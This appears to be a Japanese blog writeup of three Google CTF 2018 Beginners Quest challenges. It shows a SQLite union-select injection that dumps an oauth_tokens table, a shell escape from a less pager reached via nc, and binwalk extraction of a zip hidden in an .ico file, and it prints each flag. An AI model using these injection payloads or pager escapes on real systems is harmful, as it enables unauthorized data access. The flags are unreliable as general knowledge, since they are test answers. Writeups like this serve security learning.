進行中の何か

主にIT系の調べたこと。やったことをまとめます。

Google CTF 2018 Beginners Quest writeup 03

GoogleCTF 2018 Beginners Questのwriteupを引き続き解いていきます。

MEDIA-DB[misc]

接続するとartist/songを登録してプレイリストを表示したりするプログラムが立ち上がる。 タイトルがMEDIA-DBって書いてるし、SQL-injectionだと思い実行。

「'」を入力してshuffle artistをするとエラーが表示され、select文の内容とDBがsqlite3だと判明する。

=== Media DB ===
1) add song
2) play artist
3) play song
4) shuffle artist
5) exit
> 1
artist name?
'
song name?
hoge
1) add song
2) play artist
3) play song
4) shuffle artist
5) exit
> 4
choosing songs from random artist: '

== new playlist ==
Traceback (most recent call last):
  File "./media-db.py", line 76, in <module>
    print_playlist("SELECT artist, song FROM media WHERE artist = '{}'".format(artist))
  File "./media-db.py", line 45, in print_playlist
    for i, res in enumerate(c.execute(query).fetchall()):
sqlite3.OperationalError: unrecognized token: "'''"

テーブル一覧を取得したいので問い合わせる。

=== Media DB ===
1) add song
2) play artist
3) play song
4) shuffle artist
5) exit
> 1
artist name?
'and'1'='0' union select null,name from sqlite_master;--
song name?
hoge
1) add song
2) play artist
3) play song
4) shuffle artist
5) exit
> 4
choosing songs from random artist: 'and'1'='0' union select null,name from sqlite_master;--

== new playlist ==
1: "media" by "None"
2: "oauth_tokens" by "None"

oauth_tokensに入っているはず!データ出力する。
# カラム一覧を取得する方法がわからなかったので
# tokenやtokensなどで総当たりしました。
# sqlite3でカラム一覧取得するクエリ文があるのかな。。。

=== Media DB ===
1) add song
2) play artist
3) play song
4) shuffle artist
5) exit
> 1
artist name?
'and'1'='0' union select null,oauth_token from oauth_tokens;--
song name?
hoge
1) add song
2) play artist
3) play song
4) shuffle artist
5) exit
> 4
choosing songs from random artist: 'and'1'='0' union select null,oauth_token from oauth_tokens;--

== new playlist ==
1: "CTF{fridge_cast_oauth_token_cahn4Quo}
" by "None"

flagはCTF{fridge_cast_oauth_token_cahn4Quo}

MOAR [pwn]

ncしろとかいてあるのでncしてみるとsocatのmanページがでてくる。
hをおすとlessコマンドであることがわかる。

# nc moar.ctfcompetition.com 1337
socat(1)                                                              socat(1)

NAME
       socat - Multipurpose relay (SOcket CAT)

 Manual page socat(1) line 1 (press h for help or q to quit)h
...skipping...

                   SUMMARY OF LESS COMMANDS

!とあわせることでコマンド実行ができるので探索開始。
/home/moar/の下にdisable_dmz.shというファイルがあるのでそれを表示して終了。

!ls -al /home/moar/
total 24
drwxr-xr-x 2 nobody nogroup 4096 Jun 29 14:13 .
drwxr-xr-x 3 nobody nogroup 4096 Jun 14 14:17 ..
-rw-r--r-- 1 nobody nogroup  220 Aug 31  2015 .bash_logout
-rw-r--r-- 1 nobody nogroup 3771 Aug 31  2015 .bashrc
-rw-r--r-- 1 nobody nogroup  655 May 16  2017 .profile
-r-xr-xr-x 1 nobody nogroup  695 Jun 26 15:56 disable_dmz.sh
! cat /home/moar/*.sh
#!/bin/sh

# Copyright 2018 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

echo 'Disabling DMZ using password CTF{SOmething-CATastr0phic}'
echo CTF{SOmething-CATastr0phic} > /dev/dmz

flagはCTF{SOmething-CATastr0phic}でした。

FLOPPY [misc]

foo.icoファイルが与えられる。
Forensics入門(CTF)を参考に確認していく。

exiftoolは特になにもなし。

# exiftool foo.ico 
ExifTool Version Number         : 10.97
File Name                       : foo.ico
Directory                       : .
File Size                       : 1414 bytes
File Modification Date/Time     : 2018:07:01 01:57:25+09:00
File Access Date/Time           : 2018:07:07 23:07:22+09:00
File Inode Change Date/Time     : 2018:07:01 01:57:34+09:00
File Permissions                : rw-------
Error                           : Unknown file type

binwalkしてみるとzipが含まれているとのこと!
なので抽出してファイルを確認するとフラグをゲット!

# binwalk -e foo.ico 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
765           0x2FD           Zip archive data, at least v2.0 to extract, compressed size: 123, uncompressed size: 136, name: driver.txt
956           0x3BC           Zip archive data, at least v2.0 to extract, compressed size: 214, uncompressed size: 225, name: www.com
1392          0x570           End of Zip archive
# cat _foo.ico.extracted/driver.txt 
This is the driver for the Aluminum-Key Hardware password storage device.
     CTF{qeY80sU6Ktko8BJW}

In case of emergency, run www.com

flagはCTF{qeY80sU6Ktko8BJW}でした。